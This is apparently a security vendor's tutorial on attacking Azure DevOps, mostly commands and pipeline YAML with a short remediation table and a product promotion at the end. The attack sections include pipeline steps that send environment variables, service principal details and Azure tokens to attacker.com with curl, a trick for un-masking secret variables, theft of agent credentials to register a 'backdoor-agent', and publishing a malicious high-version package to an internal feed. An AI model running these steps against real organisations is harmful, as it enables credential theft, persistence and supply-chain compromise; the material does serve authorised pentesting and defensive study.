Azure DevOps Security Testing: Pipeline Attacks, Credential Theft, and PAT Abuse

Azure DevOps (ADO) is Microsoft's CI/CD and project management platform used by millions of enterprise teams. Its deep integration with Azure subscriptions, service connections to cloud resources, and pipeline YAML execution model creates a rich attack surface that's frequently overlooked in security assessments.

Why Azure DevOps Is a High-Value Target

A compromised Azure DevOps organization can give an attacker:

Phase 1: Reconnaissance and Enumeration

Discovering Azure DevOps Organizations

# Azure DevOps uses the format: dev.azure.com/{org}/{project}
# Find organizations via:
# 1. Certificate transparency
curl -s "https://crt.sh/?q=%.visualstudio.com&output=json" | jq '.[].name_value' | sort -u
curl -s "https://crt.sh/?q=%.dev.azure.com&output=json" | jq '.[].name_value' | sort -u

# 2. Check common org names
curl -s https://dev.azure.com/{target-company}/_apis/projects
curl -s https://{target-company}.visualstudio.com/_apis/projects

# 3. Azure AD tenant enumeration
curl -s "https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" | jq .

# List projects in an org (if authenticated)
az devops project list --org https://dev.azure.com/{org}

Authenticated Enumeration with PAT Token

# Using az CLI with PAT token
export AZURE_DEVOPS_EXT_PAT=[PAT_TOKEN]
az devops configure --defaults org=https://dev.azure.com/{org}

# List all projects
az devops project list --output table

# List repos in a project
az repos list --project {project} --output table

# List pipelines
az pipelines list --project {project} --output table

# List service connections (requires Project Administrator)
az devops service-endpoint list --project {project} --output table

# List variable groups
az pipelines variable-group list --project {project} --output table

REST API Enumeration

ORG="https://dev.azure.com/{org}"
PAT="[token]"
AUTH=$(echo -n ":$PAT" | base64)

# List projects
curl -H "Authorization: Basic $AUTH" \
  "$ORG/_apis/projects?api-version=7.1"

# List repos
curl -H "Authorization: Basic $AUTH" \
  "$ORG/{project}/_apis/git/repositories?api-version=7.1"

# List build definitions (pipelines)
curl -H "Authorization: Basic $AUTH" \
  "$ORG/{project}/_apis/build/definitions?api-version=7.1" | \
  jq '.value[] | {id, name, path}'

# List service endpoints (connections)
curl -H "Authorization: Basic $AUTH" \
  "$ORG/{project}/_apis/serviceendpoint/endpoints?api-version=7.1" | \
  jq '.value[] | {name, type, url: .url}'

Phase 2: Pipeline YAML Injection

Identifying Injectable Pipelines

YAML pipelines are stored in repos. If you can push to a branch or create a PR from a fork, you may be able to modify pipeline behavior:

# Look for pipelines triggered on PRs from forks (dangerous)
# Check azure-pipelines.yml for:
trigger:
  - main

pr:
  - main   # PRs from forks trigger this pipeline

# Insecure: pipeline checkout with persist-credentials
steps:
- checkout: self
  persistCredentials: true   # SYSTEM_ACCESSTOKEN remains in git config

# Insecure: inline script using user-controlled input
- script: |
    echo "Building $(Build.RequestedFor)"   # can inject commands
    git config user.email "$(Build.RequestedForEmail)"

Exploiting PR Pipeline Triggers

# If the pipeline runs on fork PRs without protection:
# 1. Fork the repository
# 2. Modify azure-pipelines.yml to exfiltrate secrets
steps:
- script: |
    # Extract pipeline variables
    env | base64 | curl -X POST https://attacker.com/collect -d @-

    # Extract service connection tokens from environment
    echo "##vso[task.setvariable variable=STOLEN;issecret=false]$SYSTEM_ACCESSTOKEN"
    curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
      "$(System.CollectionUri)$(System.TeamProject)/_apis/serviceendpoint/endpoints?api-version=7.1"

# 3. Create PR to trigger pipeline execution

SYSTEM_ACCESSTOKEN Abuse

SYSTEM_ACCESSTOKEN is granted to every pipeline job and provides access to the ADO API with the build service identity:

# List what the build service account can access
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
  "$(System.CollectionUri)_apis/connectionData" | jq .

# Read variable groups (may reveal secrets)
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
  "$(System.CollectionUri)$(System.TeamProject)/_apis/distributedtask/variablegroups?api-version=7.1"

# Access other repos in the org
curl -H "Authorization: Bearer $SYSTEM_ACCESSTOKEN" \
  "$(System.CollectionUri)_apis/git/repositories?api-version=7.1" | \
  jq '.value[] | {name, remoteUrl}'

Phase 3: Service Connection Credential Theft

Understanding Service Connections

Service connections store pre-authenticated credentials for external services. From inside a pipeline job, these credentials are injected as environment variables or files:

# In a pipeline job using an Azure service connection:
# The service principal credentials are available as environment variables:
echo $AZURE_SUBSCRIPTION_ID
echo $AZURE_CLIENT_ID
echo $AZURE_CLIENT_SECRET  # or certificate path
echo $AZURE_TENANT_ID

# For Kubernetes service connections:
echo $KUBECONFIG  # path to kubeconfig file with cluster credentials

# For generic connections:
echo $ENDPOINT_AUTH_PARAMETER_{CONNECTION_NAME}_PASSWORD

Stealing Service Connection Credentials via Pipeline

# Malicious pipeline step to exfiltrate Azure service connection creds
- task: AzureCLI@2
  inputs:
    azureSubscription: 'ProductionAzure'  # use legitimate connection name
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # Exfiltrate service principal details
      az account show | base64 | curl -X POST https://attacker.com/ -d @-

      # Get access token for Azure Resource Manager
      TOKEN=$(az account get-access-token --query accessToken -o tsv)
      curl -H "Authorization: Bearer $TOKEN" \
        "https://management.azure.com/subscriptions?api-version=2022-12-01" | \
        base64 | curl -X POST https://attacker.com/arm -d @-

Variable Group Secret Extraction

# Pipeline variables marked as "secret" are masked in logs
# but are still accessible as environment variables in the job
- script: |
    # Print all environment variables (secrets appear as ***)
    env

    # But write to file to bypass masking
    env > /tmp/secrets.txt
    base64 /tmp/secrets.txt | curl -X POST https://attacker.com/ -d @-

    # Or use a technique to un-mask secrets:
    # Print one character at a time (bypasses multi-char masking)
    python3 -c "
    import os
    secret = os.environ.get('MY_SECRET_VAR', '')
    for c in secret:
        print(c, end='', flush=True)
    print()
    "

Phase 4: PAT Token Attacks

PAT Token Discovery

# PAT tokens follow the pattern: [base64-encoded-string]
# They're frequently exposed in:
# - .git-credentials files
# - Environment variables in CI logs
# - Docker build args
# - Source code / config files

# Regex pattern for ADO PAT detection:
# [a-z0-9]{52}

# Trufflehog ADO detector
trufflehog git https://github.com/org/repo --only-verified

# Check git credential store
cat ~/.git-credentials | grep dev.azure.com

PAT Token Scope Abuse

# Full scope PAT — test what's accessible
PAT="[token]"
ORG="https://dev.azure.com/{org}"
AUTH=$(echo -n ":$PAT" | base64)

# Check token scope by attempting high-privilege operations
# Read all projects
curl -H "Authorization: Basic $AUTH" "$ORG/_apis/projects"

# Read user entitlements (member data)
curl -H "Authorization: Basic $AUTH" \
  "$ORG/_apis/memberentitlementmanagement/userentitlements?api-version=7.1"

# Access feed packages (Artifacts)
curl -H "Authorization: Basic $AUTH" \
  "https://feeds.dev.azure.com/{org}/{project}/_apis/packaging/feeds?api-version=7.1"

Phase 5: Self-Hosted Agent Exploitation

Targeting Self-Hosted Agents

Self-hosted pipeline agents run on corporate infrastructure and have network access to internal resources. They're one of the highest-value targets in ADO security assessments:

# From inside a pipeline running on a self-hosted agent:
# Internal network reconnaissance
nmap -sn 10.0.0.0/8 2>/dev/null | grep "Nmap scan report"

# Enumerate internal DNS
nslookup internal-database.company.local
nslookup vault.company.internal
nslookup kubernetes.company.internal

# Access internal services not reachable from internet
curl http://internal-api.company.local/api/v1/users
curl http://kubernetes.company.local:8080/api/v1/namespaces

# Check agent configuration for stored credentials
cat ~/.azure/config
cat ~/credentials
env | grep -i "token\|secret\|password\|key\|credential"

Agent Token Theft for Persistence

# Agent registration token is stored on disk
# Find agent configuration
find / -name ".credentials" -path "*agent*" 2>/dev/null
find / -name "credentials" -path "*azure*" 2>/dev/null

# Agent credentials are in ~/.agent or the agent install directory
cat /opt/azagent/.credentials | python3 -c "
import sys, json
data = json.load(sys.stdin)
print(data)
"

# Re-register a new agent using the organization token
./config.sh --url https://dev.azure.com/{org} \
  --auth pat --token [STOLEN_ORG_TOKEN] \
  --pool default --agent backdoor-agent

Phase 6: Azure Artifacts Feed Poisoning

# List accessible feeds
curl -H "Authorization: Basic $AUTH" \
  "https://feeds.dev.azure.com/{org}/_apis/packaging/feeds?api-version=7.1"

# Check feed upstream sources (public package sources)
# If upstream is configured, ADO will check internal feed first, then upstream
# Dependency confusion attack: publish a higher-versioned package to the internal feed
# with the same name as an internal package → gets pulled instead of the real one

# Alternatively, if you can publish to a feed that CI/CD trusts:
# Create a malicious package version
npm pack malicious-package/
az artifacts universal publish \
  --organization https://dev.azure.com/{org} \
  --feed {feed-name} \
  --name {package-name} \
  --version 999.0.0 \
  --path ./malicious-package/

Remediation

RiskRemediation
Fork PR pipeline injectionEnable "Comment trigger for outside collaborators" — require approval before running pipelines on fork PRs
SYSTEM_ACCESSTOKEN over-privilegeLimit build service permissions per project; revoke repo-level read where not needed
Service connection over-scopeUse connection scoped to specific resource groups, not entire subscription; enable approval gates
PAT with full scopeCreate PATs with minimal scope; set expiry dates; audit PAT usage in ADO Security logs
Secrets in pipeline variablesUse Azure Key Vault variable groups with managed identity; rotate regularly
Self-hosted agent reuseClean agent between builds; use ephemeral agents; separate agent pools by trust level
Branch protection bypassesRequire required reviewers on main branch; use CODEOWNERS for pipeline files

Secure Your Azure DevOps Pipeline Applications

Ironimo scans the web applications your Azure DevOps pipelines deploy — finding injection vulnerabilities, broken authentication, and exposed endpoints before attackers do. Start free scan.